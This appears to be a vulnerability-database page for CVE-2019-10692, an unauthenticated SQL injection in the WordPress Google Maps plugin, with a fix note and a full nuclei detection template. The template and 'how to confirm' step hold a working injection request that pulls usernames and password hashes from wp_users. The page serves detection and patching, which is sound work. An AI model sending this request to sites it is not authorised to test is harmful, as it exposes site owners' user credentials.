HexBrain

Browse / CVEs / CVE-2019-10692

CVE-2019-10692· codecabin / wp go maps· CWE-89

WordPress Google Maps <7.11.18 - SQL Injection

criticalseverity
9.8CVSS score
77.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Google Maps plugin before 7.11.18 contains a SQL injection vulnerability. The plugin includes /class.rest-api.php in the REST API and does not sanitize field names before a SELECT statement. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.

Fix

Update to the latest version of the WordPress Google Maps plugin (7.11.18 or higher).

How to confirm it

Send: GET {{BaseURL}}/?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20-
Positive when: contains "\"user_login\"" and "\"user_pass\"" and "\"user_nicename\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2019-10692 -u <target>

The full check
id: CVE-2019-10692

info:
  name: WordPress Google Maps <7.11.18 - SQL Injection
  author: pussycat0x
  severity: critical
  description: |
    WordPress Google Maps plugin before 7.11.18 contains a SQL injection vulnerability. The plugin includes /class.rest-api.php in the REST API and does not sanitize field names before a SELECT statement. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the WordPress Google Maps plugin (7.11.18 or higher).
  reference:
    - https://wpscan.com/vulnerability/475404ce-2a1a-4d15-bf02-df0ea2afdaea
    - https://wordpress.org/plugins/wp-google-maps/#developers
    - https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-google-maps&old=2061433&new_path=%2Fwp-google-maps&new=2061434&sfp_email=&sfph_mail=#file755
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10692
    - https://github.com/VTFoundation/vulnerablewp
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-10692
    cwe-id: CWE-89
    epss-score: 0.77334
    epss-percentile: 0.9956
    cpe: cpe:2.3:a:codecabin:wp_go_maps:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: codecabin
    product: wp_go_maps
    framework: wordpress
  tags: cve2019,cve,wp,wp-plugin,unauth,sqli,wordpress,googlemaps,wpscan,codecabin,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20-"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"user_login"'
          - '"user_pass"'
          - '"user_nicename"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from